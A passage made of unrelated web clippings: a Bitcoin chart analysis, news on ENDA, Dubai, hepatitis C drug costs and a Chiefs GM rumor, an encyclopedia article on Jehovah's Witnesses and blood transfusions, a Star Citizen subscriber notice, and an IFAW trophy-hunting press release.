currency. This trend will continue until the infrastructure of the Bitcoin system is improved and adoption increases.  An Australian Bitcoin start-up has introduced an electronic funds at point of sale card to bridge the gap between crypto-currencies and traditional payment methods. CoinJar’s new development will allow Australians to pay for items in Australian dollars using Bitcoin and withdraw their Bitcoin in Australian Dollars. The CEO of CoinJar hopes that this new service will expose Bitcoin to the majority of Australians and increase adoption. It is estimated half a million Australians are participants in the Bitcoin ecosystem and CoinJar hopes that its service will increase this number substantially.  The daily chart with the Ichimoku cloud is shown below. The price has entered the cloud, suggesting that any trades should wait until the price action breaks out of the cloud in either direction. The lower part of the cloud at around $436 is acting a support and the price failed to close below this level since May 2014, indicating the support level is quite strong. The cloud has switched from red to green, indicating an upward flow may materialize within this current downward trend. If the price action moves out of the cloud in the downward direction, the price could move to $412 and settle around that level. However, if the price moves in the upward direction, past the cloud and past the base line at $476, bullish momentum would be initiated.  Daily Bitcoin  The 4-hour chart for Bitcoin on the BTC-e exchange is shown below. The price is currently nearing the bottom Bollinger band® and could decrease to the important support at $432.79 before rebounding towards the middle band. Both the stochastic and relative strength index are indicating oversold conditions, which could continue today, but eventually an upward correction should take place.  4-Hour Bitcoin  Trade and over 125 other assets at YesOption – The leading forex and binary options trading platform-offering returns up to 89%.
-Noting that "the community’s activism, outside mobilization, and just family awareness and respect for people to end discrimination" contribute to a different public attitude than the last time ENDA was introduced, Nancy Pelosi told reporters that she envisions a path to passage of ENDA similar to that of the Violence Against Women Act:  “We made it too hot to handle in the public,” Pelosi said. “It had to come to the floor. Even so, a majority of the Republicans voted against the Violence Against Women Act. But nonetheless, it came to the floor. I hope we could have a similar situation with this.”  Asked to clarify whether VAWA reauthorization could be a model for House passage of ENDA, Pelosi called for expedited movement of the legislation in her chamber.  “Well, I would think it would be “once burned, twice learned,” and that they would, shall we say, save some time by taking it right to our committee and to the floor,” Pelosi said. “It’s really important. Our country – ending discrimination is what we are all about as Americans, and we should not have discrimination in the workplace because of gender identity.”  Read Chris Johnson's full report at the Blade here.
-Jehovah's Witnesses believe that the Bible prohibits ingesting blood and that Christians should not accept blood transfusions or donate or store their own blood for transfusion.[1] The belief is based on an interpretation of scripture that differs from that of other Christian denominations.[2] It is one of the doctrines for which Jehovah's Witnesses are best known.[3] Jehovah's Witnesses' literature teaches that their refusal of transfusions of whole blood or its four primary components—red cells, white cells, platelets and plasma—is a non-negotiable religious stand and that those who respect life as a gift from God do not try to sustain life by taking in blood,[4][5] even in an emergency.[6] Witnesses are taught that the use of fractions such as albumin, immunoglobulins and hemophiliac preparations are "not absolutely prohibited", and are instead a matter of personal choice.[5] The doctrine was introduced in 1945, and has undergone some changes since then. Members of the group who voluntarily accept a transfusion and are not deemed repentant are regarded as having disassociated themselves from the group by abandoning its doctrines[7][8][9] and are subsequently shunned by members of the organization.[10] Although accepted by the majority of Jehovah's Witnesses, a minority does not endorse this doctrine.[11][12] The Watch Tower Society has established Hospital Information Services to provide education and facilitate bloodless surgery. This service also maintains Hospital Liaison Committees, whose function is to provide support to adherents. Contents  Doctrine Edit  Bloodless surgery Edit  Acceptance among Jehovah's Witnesses Edit  Since the elaboration of the blood doctrine to the point of prohibiting transfusion, the majority of Jehovah's Witnesses have adopted the organization's position.[53][54][55] Those Jehovah's Witnesses who accept the blood doctrine typically hold strongly to their conviction.[56] In the August 1998 issue of Academic Emergency Medicine, Donald Ridley, a Jehovah's Witness and organization staff attorney, argued that carrying an up-to-date Medical Directive card issued by the organization indicates that an individual personally agrees with the established religious position of Jehovah's Witness.[57] In 1958, The Watchtower reported on a particular member of Jehovah's Witnesses who voluntarily accepted blood transfusion, contrary to Watchtower doctrine.[58] The organization confirms that members have accepted blood transfusions, despite the imposition in 1961 of a communal shunning policy for willful acceptance.[59][60] In 1982, a peer-reviewed case study of a congregation of Jehovah's Witnesses was undertaken by Drs. Larry J. Findley and Paul M. Redstone to evaluate individual belief in respect to blood among Jehovah's Witnesses. The study showed that 12% were willing to accept transfusion therapy forbidden by Jehovah's Witness doctrine.[53] One peer-reviewed study examining medical records indicated a similar percentage of Jehovah's Witnesses willing to accept blood transfusions for their children. Young adults also showed a willingness to accept blood transfusions.[61] In another study, Jehovah's Witness patients presented for labor and delivery showed a willingness to accept some form of blood or blood products. Of these patients, 10 percent accepted whole blood transfusion.[55] Watch Tower publications have noted that within religions, the personal beliefs of members often differ from official doctrine.[62] Regarding Jehovah's Witnesses acceptance of the organization's official position on blood, Drs Cynthia Gyamfi and Richard Berkowitz state, "It is naïve to assume that all people in any religious group share the exact same beliefs, regardless of doctrine. It is well known that Muslims, Jews and Christians have significant individual variations in their beliefs. Why should that not also be true of Jehovah's Witnesses?"[63] Ambivalence and rejection of the blood doctrine dates back to at least the 1940s. After the Watch Tower Society established the doctrine, teaching that blood should not be eaten (circa 1927-31), Margaret Buber, who was never a member of the denomination, offered a firsthand eyewitness account of Jehovah's Witnesses in the Nazi Ravensbrück concentration camp. She relates that an overwhelming majority were willing to eat blood sausage despite having alternate food to choose from, and specifically after considering biblical statements regarding blood.[64]  History of doctrine Edit  From 1931, when the name "Jehovah's witnesses" was adopted, Watch Tower Society publications maintained the view of Society founder Charles Taze Russell that the reference to abstaining from the eating of blood in the Apostolic Decree of Acts 15:19–29 was a "suggestion" to be given to Gentile converts.[65][66] Watch Tower publications during the presidency of Joseph Franklin Rutherford commended the commercial and emergency uses of blood.[67][68] A 1925 issue of The Golden Age commended a man for donating blood 45 times without payment.[69] In 1927, The Watchtower noted, without elaboration, that in Genesis 9, God decreed that Noah and his offspring "must not eat the blood, because the life is in the blood".[70] In 1940 Consolation magazine reported on a woman who accidentally shot herself with a revolver in her heart and survived a major surgical procedure during which an attending physician donated a quart of his own blood for transfusion.[71] In 1944, with the Watch Tower Society under the administration of president Nathan Homer Knorr, The Watchtower asserted that the decrees contained in Genesis 9:4 and Leviticus 17:10–14 forbade the eating or drinking of blood in biblical times "whether by transfusion or by the mouth" and that this applied "in a spiritual way to the consecrated persons of good-will today, otherwise known as 'Jonadabs' of the Lord's 'other sheep'."[72] In September 1945, representatives of the Watch Tower Society in the Netherlands commented on blood transfusion in the Dutch edition of Consolation. A translation of their comments into English reads: When we lose our life because we refuse inoculations, that does not bear witness as a justification of Jehovah's name. God never issued regulations which prohibit the use of drugs, inoculations or blood transfusions. It is an invention of people, who, like the Pharisees, leave Jehovah's mercy and love aside.[73] According to sociologist Richard Singelenbreg, the statement appearing in the Dutch edition of Consolation may have been published without knowledge of the doctrinal position published in the English July 1945 issue of Consolation by the Watch Tower Society's headquarters in the United States.[74] In 1945, the application of the doctrine on blood was expanded to prohibit blood transfusions of whole blood, whether allogeneic or autologous.[75] The prohibition did not specify any punitive measures for accepting a transfusion, but by January 1961—in what was later described as an application of "increased strictness"[76]—it was ruled that it was a disfellowshipping offense to conscientiously accept a blood transfusion.[77] Watch Tower publications warned that accepting a blood transfusion could prevent Witnesses from living eternally in God's new world, the hope held by members: "It may result in the immediate and very temporary prolongation of life, but that at the cost of eternal life for a dedicated Christian."[78] In September 1956, Awake! stated, "certain blood fractions ... also come under the Scriptural ban".[79] A position against "the various blood fractions" was reiterated in September 1961.[80] In November of the same year, the doctrine was modified to allow individual members to decide whether they could conscientiously accept fractions used from blood for purposes such as vaccination.[81] This position has been expanded on since; the pre-formatted Durable Power of Attorney form provided by the Watch Tower Society includes an option for Jehovah's Witnesses to "accept all fractions derived from any primary component of blood."[82] In 1964, Jehovah's Witnesses were prohibited from obtaining transfusions for pets, from using fertilizer containing blood, and were even advised (if their conscience troubled them) to write to dog food manufacturers to verify that their products were blood-free.[83] Later that year, it was stated that doctors or nurses who are Jehovah's Witness would not administer blood transfusions to fellow dedicated members. As to administering transfusions to non-members, The Watchtower stated that such a decision is "left to the Christian doctor's own conscience."[84] In 1982, a Watchtower article declared that it would be wrong for a Witness to allow a leech to feed on his/her blood as part of a medical procedure, due to the sacredness of blood.[85] In 1989 The Watchtower stated, "Each individual must decide" whether to accept hemodilution and autologous blood salvage (cell saver) procedures.[86] In 1990, a brochure entitled How Can Blood Save Your Life? was released, outlining Jehovah's Witnesses' general doctrine on blood. In 2000, the Watch Tower Society's stand on blood fractions was clearly stated.[87] Members were instructed to personally decide if accepting a fraction would violate the doctrine on blood. In a later article, members were reminded that Jehovah's Witnesses do not donate blood or store their own blood prior to surgery.[88] In May 2001, the Watch Tower Society revised its medical directives and identity cards addressing its doctrinal position on blood; the revised materials were distributed from May 3, 2001.[89] These revised documents specified that "allogeneic blood transfusions" were unacceptable whereas the former document (dated 1999) stated that "blood transfusions" were unacceptable. The revised 2001 documents were active until December 20, 2001. The Watch Tower Society then rescinded the revised document, stating, "After further review, it has been determined that the cards dated "md-E 6/01" and "ic-E 6/01" should not be used. Please destroy these items and make sure that they are not distributed to the publishers." Elders were instructed to revert to the older 1999 edition of the medical directives and identity cards.[90] Watch Tower Society publications frequently claim negative consequences of blood transfusions: A 1951 Watchtower declared: "And let the transfusion enthusiasts with a savior-complex ponder the fact that on many occasions transfusions do harm, spread disease, and frequently cause deaths, which, of course, are not publicized." [91]  declared: "And let the transfusion enthusiasts with a savior-complex ponder the fact that on many occasions transfusions do harm, spread disease, and frequently cause deaths, which, of course, are not publicized." A 1961 Watchtower quoted Brazilian surgeon Dr Américo Valério as saying transfusions were often followed by "moral insanity, sexual perversions, repression, inferiority complexes, petty crimes" and Dr Alonzo Jay Shadman claiming that a person's blood "contains all the peculiarities of the individual ... [including] hereditary taints, disease susceptibilities, poisons due to personal living, eating and drinking habits ... The poisons that produce the impulse to commit suicide, murder, or steal are in the blood." [92]  quoted Brazilian surgeon Dr Américo Valério as saying transfusions were often followed by "moral insanity, sexual perversions, repression, inferiority complexes, petty crimes" and Dr Alonzo Jay Shadman claiming that a person's blood "contains all the peculiarities of the individual ... [including] hereditary taints, disease susceptibilities, poisons due to personal living, eating and drinking habits ... The poisons that produce the impulse to commit suicide, murder, or steal are in the blood." A 1969 Awake! reported on a man named Robert Khoury, who, after receiving a blood transfusion said, "When I recovered I found I had a terrible desire to steal." [93]  reported on a man named Robert Khoury, who, after receiving a blood transfusion said, "When I recovered I found I had a terrible desire to steal." A 1974 Awake! cited a Centers for Disease Control report that as many as 35,000 deaths and 500,000 illnesses a year might be due to the presence of serum hepatitis in blood for transfusions. [94]  cited a Centers for Disease Control report that as many as 35,000 deaths and 500,000 illnesses a year might be due to the presence of serum hepatitis in blood for transfusions. A 2006 Awake! highlighted dangers from transfusion-related acute lung injury (TRALI).[95]  Critical views Edit  Opposition to the Watch Tower doctrines on blood transfusions has come from both members and non-members. A group of dissident Witnesses known as Associated Jehovah's Witnesses for Reform on Blood (AJWRB) states that there is no biblical basis for the prohibition of blood transfusions and seeks to have some policies changed.[96] In a series of articles in the Journal of Medical Ethics US neurologist Osamu Muramoto, who is a medical adviser to the AJWRB, has raised issues including what he claims is coercion to refuse transfusions, doctrinal inconsistency, selective use of information by the Watch Tower Society to exaggerate the dangers of transfusions and the use of outdated medical beliefs. Scriptural interpretation Edit Dissident Witnesses say the Society's use of Leviticus 17:12 to support its opposition to blood transfusions[97][98] conflicts with its own teachings that Christians are not under the Mosaic law.[99][100] Theologian Anthony Hoekema claims the blood prohibited in Levitical laws was not human, but animal. He cites other authors[101] who support his view that the direction at Acts 15 to abstain from blood was intended not as an everlasting covenant but a means of maintaining a peaceful relationship between Jewish and Gentile Christians. He has described as "absurd literalism" the Witnesses' use of a scriptural prohibition on eating blood to prohibit the medical transfusion of human blood.[102] Coercion Edit Osamu Muramoto has argued that the refusal by Jehovah's Witnesses of "life-saving" blood treatment[103] creates serious bio-medical ethical issues. He has criticized the "controlling intervention" of the Watch Tower Society by means of what he claims is information control and its policy of penalising members who accept blood transfusions or advocate freedom to choose blood-based treatment.[100][103] He says the threat of being classified as a disassociated Witness and subsequently shunned by friends and relatives who are members coerces Jehovah's Witnesses to accept and obey the prohibition on blood transfusions.[8][100][104] In one particular case involving a Russian district court decision, however, the European Court of Human Rights (ECHR) found nothing in the judgments to suggest that any form of improper pressure or undue influence was applied. It noted: "On the contrary, it appears that many Jehovah's Witnesses have made a deliberate choice to refuse blood transfusions in advance, free from time constraints of an emergency situation." The court said: "The freedom to accept or refuse specific medical treatment, or to select an alternative form of treatment, is vital to the principles of self-determination and personal autonomy. A competent adult patient is free to decide ... not to have a blood transfusion. However, for this freedom to be meaningful, patients must have the right to make choices that accord with their own views and values, regardless of how irrational, unwise or imprudent such choices may appear to others."[105] Muramoto has claimed the intervention of Hospital Liaison Committees can add to "organisational pressure" applied by family members, friends and congregation members on Witness patients to refuse blood-based treatment. He notes that while HLC members, who are church elders, "may give the patient 'moral support', the influence of their presence on the patient is known to be tremendous. Case reports reveal JW patients have changed their earlier decision to accept blood treatment after a visit from the elders." He claims such organizational pressure compromises the autonomy of Witness patients and interferes with their privacy and confidentiality. He has advocated a policy in which the Watch Tower organization and congregation elders would not question patients on the details of their medical care and patients would not disclose such information. He says the Society adopted such a policy in 1983 regarding details of sexual activity between married couples.[106][107][108] Watch Tower spokesman Donald T. Ridley says neither elders nor HLC members are instructed or encouraged to probe into the health care decisions of Witness patients and do not involve themselves in patient hospitalisations unless patients request their assistance. Yet Watchtower HLC representative David Malyon says he would respond to "sin" of Witnesses he is privy to by effectively saying "Are you going to tell them or shall I!"[109] Nevertheless Ridley says Muramoto's suggestion that Witnesses should be free to disregard Watch Tower scriptural teachings and standards is preposterous. He says loving God means obeying commandments, not disobeying them and hiding one's disobedience from others.[108][110] Muramoto recommends doctors have a private meeting with patients to discuss their wishes, and that church elders and family members not be present, enabling patients to feel free of church pressure. He suggests doctors question patients on (a) whether they have considered that the Watch Tower Society might soon approve some medical practices they currently find objectionable, in the same manner that it has previously abandoned its opposition to vaccination and organ transplants; (b) whether Witness patients know which blood components are allowed and which are prohibited, and whether they acknowledge that those rulings are organizational policy rather than biblical teachings; and (c) whether they realize that although some Bible scriptures proscribe the eating of blood, eating and transfusing blood have entirely different effects on the body.[111] English HLC representative David Malyon has responded that Muramoto's suggested questions are an affront to coerce Jehovah's Witnesses with "complicated philosophical inquisition" and, if used by doctors, would be "an abusive transformation of the medical role of succour and care into that of devil's advocate and trickster".[109] Selective use of information Edit Muramoto has claimed many Watch Tower Society publications employ exaggeration and emotionalism to emphasize the dangers of transfusions and the advantages of alternative treatments, but present a distorted picture by failing to report any benefits of blood-based treatment. Nor do its publications acknowledge that in some situations, including rapid and massive haemorrhage, there are no alternatives to blood transfusions.[100][112] He claims Watch Tower Society publications often discuss the risk of death as a result of refusing blood transfusions, but give little consideration to the prolonged suffering and disability, producing an added burden on family and society, that can result from refusal.[113] Attorney and former Witness Kerry Louderback-Wood[114] also claims that Witness publications exaggerate the medical risks of taking blood and the efficiency of non-blood medical therapies in critical situations.[115] Douglas E. Cowan, an academic in the sociology of religion, has claimed that members of the Christian countercult movement who criticize the Watch Tower Society, make selective use of information themselves. For example, Christian apologist Richard Abanes wrote that their ban on blood transfusions, "has led to countless Witness deaths over the years, including many children."[116] Cowan wrote: "When the careful reader checks [Abanes' footnote], however, looking perhaps for some statistical substantiation, he or she finds only a statistical conjecture based on 1980 Red Cross blood use figures." Cowan also says Abanes omits "critical issues" in an attempt to "present the most negative face possible." Cowan wrote that "the reader is left with the impression that the Watchtower Society knowingly presides over a substantial number of preventable deaths each year."[117] Edit Osamu Muramoto says the Watch Tower Society relies on discarded, centuries-old medical beliefs to support its assertion that blood transfusions are the same as eating blood.[118] A 1990 Watch Tower brochure on blood quoted a 17th-century anatomist to support its view.[119] Muramoto says the view that blood is nourishment—still espoused in Watch Tower publications[120]—was abandoned by modern medicine many decades ago.[100] He has criticized an analogy commonly used by the Society[121] in which it states: "Consider a man who is told by the doctor that he must abstain from alcohol. Would he be obedient if he quit drinking alcohol but had it put directly into his veins?"[118] Muramoto says the analogy is false, explaining: "Orally ingested alcohol is absorbed as alcohol and circulated as such in the blood, whereas orally eaten blood is digested and does not enter the circulation as blood. Blood introduced directly into the veins circulates and functions as blood, not as nutrition. Hence, blood transfusion is a form of cellular organ transplantation. And ... organ transplants are now permitted by the WTS."[100] He says the objection to blood transfusions on the basis of biblical proscriptions against eating blood is similar to the refusal of a heart transplant on the basis that a doctor warned a patient to abstain from eating meat because of his high cholesterol level.[122] David Malyon, chairman of the English Hospital Liaison Committee in Luton, England, has claimed that Muramoto's discussion of the differences between consuming blood and alcohol is pedantic and says blood laws in the Bible are based upon the reverence for life and its association with blood, and that laws should be kept in the spirit as much as in the letter.[109] Inconsistency Edit See also: Criticism of Jehovah's Witnesses § Blood Muramoto has described as peculiar and inconsistent the Watch Tower policy of acceptance of all the individual components of blood plasma as long as they are not taken at the same time.[100] He says the Society offers no biblical explanation for differentiating between prohibited treatments and those considered a "matter of conscience", explaining the distinction is based entirely on arbitrary decisions of the Governing Body, to which Witnesses must adhere strictly on the premise of them being Bible-based "truth".[100] He has questioned why white blood cells (1 per cent of blood volume) and platelets (0.17 per cent) are forbidden, yet albumin (2.2 per cent of blood volume) is permitted.[100] He has questioned why donating blood and storing blood for autologous transfusion is deemed wrong, but the Watch Tower Society permits the use of blood components that must be donated and stored before Witnesses use them.[123] He has questioned why Witnesses, although viewing blood as sacred and symbolizing life, are prepared to let a person die by placing more importance on the symbol than the reality it symbolizes.[112] Kerry Louderback-Wood alleges that by labeling the currently acceptable blood fractions as "minute" in relation to whole blood, the Watch Tower organization causes followers to misunderstand the scope and extent of allowed fractions.[115] Witnesses respond that the real issue is not of the fluid per se, but of respect and obedience to God.[124][125] They say their principle of abstaining from blood as a display of respect is demonstrated by the fact that members are allowed to eat meat that still contains some blood. As soon as blood is drained from an animal, the respect has been shown to God, and then a person can eat the meat even though it may contain a small amount of blood.[126] Jehovah's Witnesses' view of meat and blood is different from that of kosher Jewish adherents, who go to great lengths to remove minor traces of blood.[127][128]  See also Edit  References Edit
-As the end of the 2012 NFL season comes to a miserable end for the Kansas City Chiefs, the rumors of who could replace KC’s embattled GM Scott Pioli are beginning to heat up.  And that replacement could be former Colts executive Bill Polian.  We told you on December 8th that there was a rumor Polian could be heading to the Chiefs. That report came from the National Football Post.  Now we have another source.  Jason La Canfora of CBS Sports is backing up the NFP report with one of his own.  As for those more well-known entities, several league sources expect Bill Polian to be a lead candidate in Kansas City if a regime change is made there, with he and his son Chris, the former Colts GM, able to run the franchise in a very hands-on manner, which is in line with how owner Clark Hunt traditionally delegates responsibility.  This would be a smart move for Clark Hunt. Polian has been involved in turning around three franchises during his time as an executive. As Gm of the Bills from 1986-1993, Polian took over a 2-14 team and took them to three straight Super Bowls. Buffalo lost all three of them and Polian was fired.  Polian emerged again as the GM of the new Carolina Panthers franchise. He took the team to the NFC Championship game in only its second year of existence.  Polian left the Panthers to become the President of the Indianapolis Colts in 1997. The Colts had the #1 overall pick in the draft that year and Polian selected none other than Peyton Manning.  Polian began grooming his son Chris in 1998 when he made him Director of Pro Personnel in Indy. Chris was later promoted to GM.  Hiring Polian would be a brilliant move by Hunt. He’d be getting an experienced executive and personnel man but at the same time, he’d be getting the younger Chris Polian as well. Polian senior was 69 when the Colts fired him in January. He likely won’t be with the Chiefs for long but he certainly could stick around long enough to get the franchise back on track.  The Chiefs make sense for Polian as well. The roster has plenty of talent, the team has ample cap space and more importantly, they will likely hold the #1 pick in the draft. It would be a great opportunity for Polian to take his already cemented legacy and dip it in gold.  The good news for the Chiefs is that if Clark Hunt is indeed interested in Polian that he will be able to hire him whenever he wants. Since Polian isn’t under contract with any other NFL teams, he’s a free agent so to speak. If the Chiefs want to move on from Pioli, they’ll need to move quickly to give their new GM the time he needs to have a solid offseason.  What do you think, Addicts? Will Clark Hunt hire Bill and Chris Polian?
-At the Vancouver Infectious Diseases Centre, Veronica Masters is getting a FibroScan test to measure scarring caused by the hepatitis C virus (HCV) in her liver.  Most patients hope for a good result from their medical tests, but Masters is hoping her condition has worsened. "I need Stage 2 to get the drugs," she says.  The cost of a revolutionary medical treatment for hepatitis C is so high that only those with moderate liver disease will have the medicine provided under provincial pharmacare programs.  It's difficult for Masters to accept that there is a cure for her condition, but she may not be sick enough to get it. "I look healthy, but my body doesn't feel as healthy as it should."  She begins to weep. "Sorry, my mental health really gets affected. It's just really, really stressful."  Shawn Sharma, general manager of the Vancouver Infectious Diseases Centre, examines Veronica Masters, who has hepatitis C. (Chris Corday/CBC) The cure for HCV comes from Gilead Sciences Inc. of Foster City, CA. two drugs, marketed under the brand names Sovaldi and Harvoni , are direct acting anti-virals.  Dr. Mark Swain, head of the University of Calgary's Gastroenterology and Hepatology Division, says, "I would actually use the word transformational."  Previous treatments had such serious side effects that not all patients with HCV were able to take the year-long therapy, and only half of those who opted for the injectable treatment were successful.  But a recent study published in the New England Journal of Medicine found the Sovaldi regimen cured up to 99 per cent of hepatitis C patients.  "I can cure now. This is why I became a doctor," Swain says.  "It's just a wonderful thing to be in hepatology and be a liver doctor and be able to cure everyone that I put on this type of therapy."  Lyn Moehling is living proof. The Calgary school teacher was symptom-free and had no idea she had been living with hepatitis C for four decades. She found out when she donated blood, and within a few years she learned her liver was failing.  "My liver scan was at 16 and I believe a total fail is at 20. So I was really up there."  Moehling began mentally preparing for the worst, a liver transplant or perhaps even death. Then Swain put her in a clinical trial for Sovaldi.  Sovaldi, manufactured by Gilead Sciences, cures hepatitis C. (Gilead Sciences) She took one pill a day for 12 weeks, with no side effects.  Last June she got the news that she was cured. "My family and friends celebrated with me. I was over the moon." Now Moehling's liver function has returned to nearly normal. "It's a miracle, it's a real miracle."  In Canada, it's estimated between 250,000 and 400,000 people have the hepatitis C virus, a great many of them undiagnosed because many people have no symptoms until their liver is failing.  The Canadian Liver Foundation recommends anyone born between 1945 and 1975 be tested for the virus.  Drugs like Sovaldi and Harvoni are game changers with the potential to cure almost everyone who takes them and even eradicate the disease in the long term, hepatology experts tell CBC News.  But such promise comes with a hefty price tag.  The retail price for an eight- to 24-week regimen of the anti-virals ranges from $55,000 to $80,000 Cdn.  Health Canada and 10 Canadian provincial pharmacare programs that are underwriting the cost of the drug have probably negotiated a discount.  But, whatever the price, it's steep enough that only those patients whose liver disease has progressed to Stage 2 will qualify for publicly funded medication.  Shawn Sharma and Veronica Masters discuss her case. (Chris Corday/CBC) That is a tough message to deliver to patients who know they have a life-threatening illness and want access to the cure before it gets worse, says Shawn Sharma, general manager of the Vancouver centre where Masters is being treated.  "You have to see the patients through the months and they're just always actively questioning you, 'Why are you not wanting to treat me?'" Sharma says. "That in and of itself is difficult to kind of go home with every day as a health-care professional."  It's a difficult but necessary message, according to Dr. Morris Sherman, chair of the Canadian Liver Foundation.  "There has to be a system to amortize the cost of hepatitis C over time, because it's just not possible to pay for treatment for everyone right now," says Sherman, who worries the higher than expected demand could make the drugs less available. "The costs to government are much more than expected, so I worry about them restricting eligibility even further."  So far, that has not happened. But there's little doubt there is an increased focus on how to get more widespread access to those drugs that can cure hepatitis C. Swain says, "I would say that is going to be the biggest challenge going forward."  He says the concept of paying more up front for a quick cure, compared to treating a patient over many years is a paradigm shift in thinking. "I think many of the payers are having a hard time grappling with that because it's a new thing; it's a new phenomenon, really."  At the Vancouver clinic, Masters braces herself for the results of her scan.  Sharma delivers some pretty good health news: "You're at a Stage Zero now, going into Stage 1."  Stage 1 indicates only mild fibrosis, not the moderate fibrosis Masters needs to meet the criteria for a provincially funded cure.  The emotional weight Masters was carrying when she walked into the clinic just got a little heavier.  "What do I think?" she asks. "I think it sucks. I think it's tragic."
-“Dubai’s business model relies on it being able to project an image of progressiveness and stability, and hosting expos and film festivals all fits into this,” said Nicholas McGeehan, Persian Gulf researcher for Human Rights Watch. “But cases likes this seriously undermine that image and reveal it to be nothing more than a public relations artifice.”  Emirati officials did not respond to requests for comment.  The case has only become public recently, after the family members of Mr. Cassim, the American citizen, decided that their efforts to navigate the Emirati justice system had done them little good.  “There seems to be no end in sight,” said Mr. Cassim’s brother, Shervon, who spent nearly three months in the Emirates trying to secure his brother’s release.  In a telephone interview from his home in North Carolina, Mr. Cassim said his brother’s detention had become a bitter end to his family’s decades-old relationship with the Emirates.  His parents emigrated from Sri Lanka to Dubai in 1976 because it was a land of opportunity “where you could go and make your fortune,” he said.  His mother worked for an airline and his father became an advertising executive, part of the large group of expatriates that helped expand the city from a desert backwater into the hypermodern crop of skyscrapers, malls and upscale hotels that it is today.  Shezanne Cassim’s two siblings were born there and all three were educated in British private schools, where they had close friends from the Emirates and many other countries, his brother said.
-Greetings Citizens,  We are kicking off the Year Five of the Star Citizen development subscriber program! Becoming a subscriber gives you access to exclusive perks. Each month you can look forward to a new behind-the-scenes issue of our digital magazine Jump Point and a piece of digital flair to decorate your hangar with, as well as the ability to test fly different loaner ships like the Starfarer, Gladius and Sabre. Subscribers also receive merchandise discounts, coupons (after every 12 months of accumulated subscription time) and access to exclusive digital sales, as well as the chance to submit questions for our shows!  Additionally, if you become a subscriber before April 17th, you’ll receive a special piece of bonus flair; a Big Bennys vending machine to decorate your hangar with! This flair will be distributed to all active subscribers on April 18, 2017.  Due to popular demand, we’ll also be offering a physical edition of Jump Point Volume 3 in the coming months. Subscribers will be the first to have a chance to purchase this at exclusive discounted price. If you’re a subscriber, keep an eye on the Den for additional updates on this in the near future.  You can find more details about becoming a subscriber here!.
-WASHINGTON, June 18, 2013 /PRNewswire-USNewswire/ -- A new report released today analyzes literature on the economics of trophy hunting and reveals that African countries and rural communities derive very little benefit from trophy hunting revenue. The study, authored by Economists at Large—commissioned by the International Fund for Animal Welfare (IFAW), The Humane Society of the United States, Humane Society International and Born Free USA/Born Free Foundation—comes amid consideration to grant the African lion protection under the U.S. Endangered Species Act (ESA).  "The suggestion that trophy hunting plays a significant role in African economic development is misguided," said economist Rod Campbell, lead author of the study. "Revenues constitute only a fraction of a percent of GDP and almost none of that ever reaches rural communities."  As a portion of any national economy, trophy hunting revenue never accounts for more than 0.27 percent of the GDP. Additionally, trophy hunting revenues account for only 1.8 percent of overall tourism in nine investigated countries that allow trophy hunting, and even pro-hunting sources find that only 3 percent of the money actually reaches the rural communities where hunting occurs. While trophy hunting supporters routinely claim that hunting generates $200 million annually in remote areas of Africa, the industry is actually economically insignificant and makes a minimal contribution to national income.  "Local African communities are key stakeholders for conservation, and they need real incentives for conservation," said Jeff Flocken, North American regional director, International Fund for Animal Welfare. "Non-consumptive nature tourism–like wildlife viewing and photo safaris–is a much greater contributor than trophy hunting to both conservation and the economy in Africa. If trophy hunting and other threats continue depleting Africa's wildlife, then Africa's wildlife tourism will disappear. That is the real economic threat to the countries of Africa."  Many species suffer at the hands of trophy hunters including the African lion. The number of African lions has declined by more than 50 percent in the past three decades, with 32,000 or fewer believed remaining today. The steepest declines in lion population numbers occur in African countries with the highest hunting intensity, illustrating the unsustainability of the practice.  "Trophy hunting is driving the African lion closer to extinction," said Teresa Telecky, director, wildlife department, Humane Society International. "More than 560 wild lions are killed every year in Africa by international trophy hunters. An overwhelming 62 percent of trophies from these kills are imported into the United States. We must do all we can to put an end to this threat to the king of beasts."  Listing the African lion as endangered under the ESA would generally prohibit the import of and commercial trade in lion parts, and thus would likely considerably reduce the number of lions taken by Americans each year.  "The U.S. government has a serious responsibility to act promptly and try to prevent American hunters from killing wild lions, especially when the latest evidence shows that hunting is not economically beneficial. Listing the African lion under the Endangered Species Act will help lions at almost no cost to African communities. Government inaction could doom an already imperilled species to extinction through much of its range," said Adam Roberts, executive vice president, Born Free USA.  A copy of the economic study is available for download. For more information about African lions, please visit www.helpafricanlions.org.  About the International Fund for Animal Welfare (IFAW)  Founded in 1969, IFAW (the International Fund for Animal Welfare) saves animals in crisis around the world. With projects in more than 40 countries, IFAW rescues individual animals, works to prevent cruelty to animals, and advocates for the protection of wildlife and habitats. For more information, visit www.ifaw.org. Follow us on Facebook and Twitter. Photos and video available at www.ifawimages.com.  About Born Free USA  Born Free USA is a recognized leader in animal welfare and wildlife conservation. Through litigation, legislation, and education, Born Free USA leads campaigns against animals in entertainment, exotic "pets," trapping and fur, and the international wildlife trade. Born Free USA brings to America the mission of the U.K.-based Born Free Foundation, established in 1984 by Bill Travers and Virginia McKenna, stars of the iconic film Born Free: to end suffering of wild animals in captivity, conserve threatened and endangered species, and encourage compassionate conservation. (bornfreeusa.org; twitter.com/bornfreeusa; facebook.com/bornfreeusa.)  About Born Free Foundation  Born Free Foundation, based in England, is an international organization devoted to compassionate conservation and animal welfare. Born Free Foundation takes action worldwide to protect threatened species, stop individual animal suffering, and keep wildlife in the wild. Born Free helps hundreds of thousands of animals worldwide each year. (bornfree.org/uk)  About The Humane Society of the United States  The Humane Society of the United States is the nation's largest animal protection organization, rated the most effective by its peers. Since 1954, The HSUS has been fighting for the protection of all animals through advocacy, education and hands-on programs. We rescue and care for tens of thousands of animals each year, but our primary mission is to prevent cruelty before it occurs. We're there for all animals, across America and around the world. Celebrating animals and confronting cruelty – on the Web at humanesociety.org. Subscribe to Wayne Pacelle's blog, A Humane Nation. Follow The HSUS on Twitter. See our work for animals on your Apple or Android device by searching for our "Humane TV" app.  About Humane Society International  Humane Society International and its partner organizations together constitute one of the world's largest animal protection organizations. For nearly 20 years, HSI has been working for the protection of all animals through the use of science, advocacy, education and hands-on programs. Celebrating animals and confronting cruelty worldwide — on the Web at hsi.org.  SOURCE International Fund for Animal Welfare
